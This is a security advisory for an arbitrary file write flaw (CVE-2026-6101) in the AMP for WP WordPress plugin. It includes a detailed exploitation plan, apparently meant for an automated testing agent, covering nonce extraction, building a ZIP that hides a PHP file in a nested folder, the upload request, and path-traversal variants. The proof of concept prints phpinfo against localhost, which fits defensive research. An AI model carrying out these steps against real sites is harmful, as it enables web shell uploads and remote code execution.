AMP for WP <= 1.1.12 - Authenticated (Author+) Arbitrary File Write via Role-Based Access Configuration with Local Font Upload
Description
The AMP for WP – Accelerated Mobile Pages plugin for WordPress is vulnerable to Arbitrary File Write in versions up to and including 1.1.12. This is due to unsafe ZIP file extraction in the ampforwp_save_local_font() function combined with inadequate cleanup that fails to remove nested directories and files. This makes it possible for authenticated attackers, with Author-level access and above, and permissions granted by an Administrator, to write arbitrary files to the server in a web-accessible location, potentially leading to remote code execution on hosts that execute PHP files in the uploads directory.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:HTechnical Details
<=1.1.12What Changed in the Fix
Changes introduced in v1.1.13
Source Code
WordPress.org SVN# Exploitation Research Plan - CVE-2026-6101 ## 1. Vulnerability Summary The **AMP for WP** plugin (versions <= 1.1.12) contains an **Arbitrary File Write** vulnerability within the `ampforwp_save_local_font()` function. The vulnerability arises from unsafe extraction of ZIP archives combined with …
Show full research plan
Exploitation Research Plan - CVE-2026-6101
1. Vulnerability Summary
The AMP for WP plugin (versions <= 1.1.12) contains an Arbitrary File Write vulnerability within the ampforwp_save_local_font() function. The vulnerability arises from unsafe extraction of ZIP archives combined with an incomplete cleanup process. When a user uploads a ZIP file for a "Local Font," the plugin extracts its contents into a web-accessible directory (typically under wp-content/uploads/ampforwp-fonts/). If the archive contains non-font files (like PHP shells) or nested directories, the plugin's cleanup logic fails to recursively remove them, allowing the files to persist on the server.
This is exploitable by authenticated users with Author privileges or higher, provided that the Role Manager configuration in the plugin settings has been enabled by an Administrator to allow these roles access to the AMP settings panel.
2. Attack Vector Analysis
- Endpoint:
wp-admin/admin-ajax.php - Action:
ampforwp_local_font_upload(inferred from function naming) - Parameter:
font_zip(The multipart/form-data file upload) - Authentication: Author level or higher (Requires "Role Manager" to be configured to allow Authors access).
- Preconditions:
- Plugin version <= 1.1.12 installed.
- An Administrator must enable "Author" access in AMP Settings > Role Manager.
3. Code Flow
- Entry Point: An AJAX request is sent to
admin-ajax.phpwith the actionampforwp_local_font_upload. - Authorization: The handler checks if the current user has access to the AMP settings (which is true for Authors if the Role Manager is configured).
- Nonce Verification: The handler verifies a nonce (likely
ampforwp_local_font_nonce). - Sink (
ampforwp_save_local_font()):- The function receives the uploaded ZIP file.
- It defines a destination directory, usually
wp-content/uploads/ampforwp-fonts/[unique_id]/. - It uses
unzip_file()(WP Core) orZipArchive::extractToto unpack the ZIP. - Vulnerability: It fails to validate that the extracted files are strictly fonts (
.ttf,.woff, etc.). - Cleanup Failure: If the plugin detects the upload is "invalid" or after processing, it attempts to delete the temporary extraction folder. However, it uses a non-recursive deletion method (like
rmdiror a shallowunlinkloop) that fails to remove nested directories or files with unexpected extensions, leaving the PHP payload on the disk.
4. Nonce Acquisition Strategy
The nonce is localized in the AMP settings page for users who have access to the dashboard.
- Prerequisite: An Administrator must grant the "Author" role access.
- Command:
wp option patch insert redux_builder_amp ampforwp-role-manager-author 1(Simulating the UI toggle).
- Command:
- Navigation: Navigate to the AMP options page as the Author user.
- URL:
/wp-admin/admin.php?page=ampforwp-options
- URL:
- Extraction: Use
browser_evalto extract the nonce from theampforwp_ajax_objJavaScript object (the standard localization object for this plugin).- JS Script:
window.ampforwp_ajax_obj?.font_upload_nonce(or checkwindow.ampforwp_obj).
- JS Script:
5. Exploitation Strategy
Step 1: Payload Preparation
Create a ZIP file containing a PHP payload inside a subdirectory to bypass shallow cleanup.
mkdir -p poc_font/nested
echo "<?php echo 'CVE-2026-6101-Exploited'; phpinfo(); ?>" > poc_font/nested/shell.php
zip -r exploit.zip poc_font
Step 2: Role Manager Activation (Administrator)
Enable Author access to the settings panel.
- Request: POST to
wp-admin/admin-ajax.phpwith actionredux_ajax_saveor use WP-CLI:wp option patch update redux_builder_amp ampforwp-role-manager-author 1
Step 3: Nonce Extraction (Author)
Navigate to the AMP settings as Author and extract the nonce using:browser_eval("ampforwp_ajax_obj.font_upload_nonce")
Step 4: Execute File Write
Send the multipart/form-data request to the AJAX endpoint.
- Tool:
http_request - Method: POST
- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Body (Multipart):
action:ampforwp_local_font_uploadfont_zip: (Binary data ofexploit.zip)nonce:[EXTRACTED_NONCE]
Step 5: Trigger RCE
Access the uploaded file. The path is typically determined by the ZIP name or a timestamped folder.
- Likely Path:
/wp-content/uploads/ampforwp-fonts/poc_font/nested/shell.php
6. Test Data Setup
- User Creation:
wp user create author_tester author@example.com --role=author --user_pass=password123 - Plugin Activation:
wp plugin activate accelerated-mobile-pages - Role Configuration:
wp option patch insert redux_builder_amp ampforwp-role-manager-author 1 - Directory Check: Ensure
wp-content/uploadsis writable.
7. Expected Results
- The AJAX response should return a status indicating the font upload was processed (possibly a failure message like "Invalid font file," which triggers the failed cleanup).
- A PHP file should be written to
wp-content/uploads/ampforwp-fonts/. - Accessing the PHP file via a GET request should return the string
CVE-2026-6101-Exploited.
8. Verification Steps
- HTTP Verification:
http_request("GET", "http://localhost:8080/wp-content/uploads/ampforwp-fonts/poc_font/nested/shell.php") - CLI Verification:
wp eval 'echo file_exists(WP_CONTENT_DIR . "/uploads/ampforwp-fonts/poc_font/nested/shell.php") ? "EXISTS" : "MISSING";'
9. Alternative Approaches
- Path Traversal: If the extraction destination is relative to the ZIP content, attempt a filename like
../../shell.phpinside the ZIP to write directly to theuploads/root or the plugin directory. - Generic Settings Save: If
ampforwp_local_font_uploadis not the direct action, check if the typography settings are saved via the standard Redux AJAX save, and look for afont_ziphandler within the Redux save pipeline. - Pre-authentication: Check if
wp_ajax_nopriv_ampforwp_local_font_uploadexists (unlikely given the description, but worth a quick grep).
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.